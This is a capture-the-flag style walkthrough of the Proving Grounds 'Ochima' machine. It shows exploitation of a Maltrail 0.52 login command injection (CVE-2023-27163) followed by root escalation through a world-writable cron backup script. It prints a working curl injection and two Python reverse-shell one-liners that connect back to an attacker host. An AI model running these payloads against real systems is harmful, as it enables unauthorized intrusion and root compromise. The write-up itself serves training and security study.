Skip to content
HackIndex.io

Ochima Writeup - Proving Grounds

Intermediate Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 2 min read

The Husky Hacker

sysadmin

Ochima runs Maltrail 0.52, a malicious-traffic detection tool vulnerable to CVE-2023-27163, an unauthenticated command injection in its login endpoint. The resulting shell escalates to root through a world-writable backup script a root cron job executes.

Reconnaissance

Nmap

Full TCP port scan with service detection.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- --open $TARGET_IP 
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp   open  http    Apache httpd 2.4.52 (Ubuntu)
8338/tcp open  http    Maltrail 0.52

Port 8338 runs Maltrail 0.52. Its /login endpoint accepts a POST username parameter known to be vulnerable to CVE-2023-27163, an unauthenticated OS command injection where the value is passed unsanitized to a subprocess.

Exploitation

Maltrail login command injection (CVE-2023-27163)

Base64-encode a Python reverse shell to avoid special-character issues in the injection.

┌──(kali㉿kali)-[~]
└─$ echo -n "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ATTACKER_IP\",$ATTACKER_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"/bin/bash\")'" | base64 
<base64 payload>

Start a listener, then fire the payload into the username parameter.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP:8338/login --data 'username=;`echo+"<BASE64_PAYLOAD>"+|+base64+-d+|+bash`'

The injection fires and a reverse shell connects back as snort. Stabilize it.

┌──(kali㉿kali)-[~]
└─$ python3 -c 'import pty;pty.spawn("/bin/bash")' 
snort@ochima:~$

Privilege Escalation

Writable cron backup script

An etc_backup.tar artifact in the home directory hints at an automated backup. Search for the script that produces it.

┌──(kali㉿kali)-[~]
└─$ find / -name "etc_Backup*" 2>/dev/null 
/var/backups/etc_Backup.sh

The script is world-writable and runs periodically as root.

┌──(kali㉿kali)-[~]
└─$ ls -l /var/backups/etc_Backup.sh 
-rwxrwxrwx 1 root root 142 Jan  1  2023 /var/backups/etc_Backup.sh

Append a reverse shell and catch it on a second listener.

┌──(kali㉿kali)-[~]
└─$ echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ATTACKER_IP\",$ATTACKER_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"/bin/bash\")'" >> /var/backups/etc_Backup.sh
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# id
uid=0(root) gid=0(root)

Within a minute the cron job fires and a root shell connects back.

Related

Command Injection Exploitation
Blog

Command Injection Exploitation

Exploit command injection vulnerabilities in web apps via HTTP/HTTPS, covering payload crafting, byp...
Command Injection Detection
Blog

Command Injection Detection

Detect command injection vulnerabilities in HTTP/HTTPS services by identifying unsanitized input poi...
Cron Job Privilege Escalation
Blog

Cron Job Privilege Escalation

Exploit misconfigured cron jobs running as root to escalate privileges via writable scripts, PATH hi...
Cron Jobs and Scheduled Tasks Enumeration on Linux
Blog

Cron Jobs and Scheduled Tasks Enumeration on Linux

Enumerate cron jobs, systemd timers, and scheduled tasks on Linux to identify misconfigurations or p...

References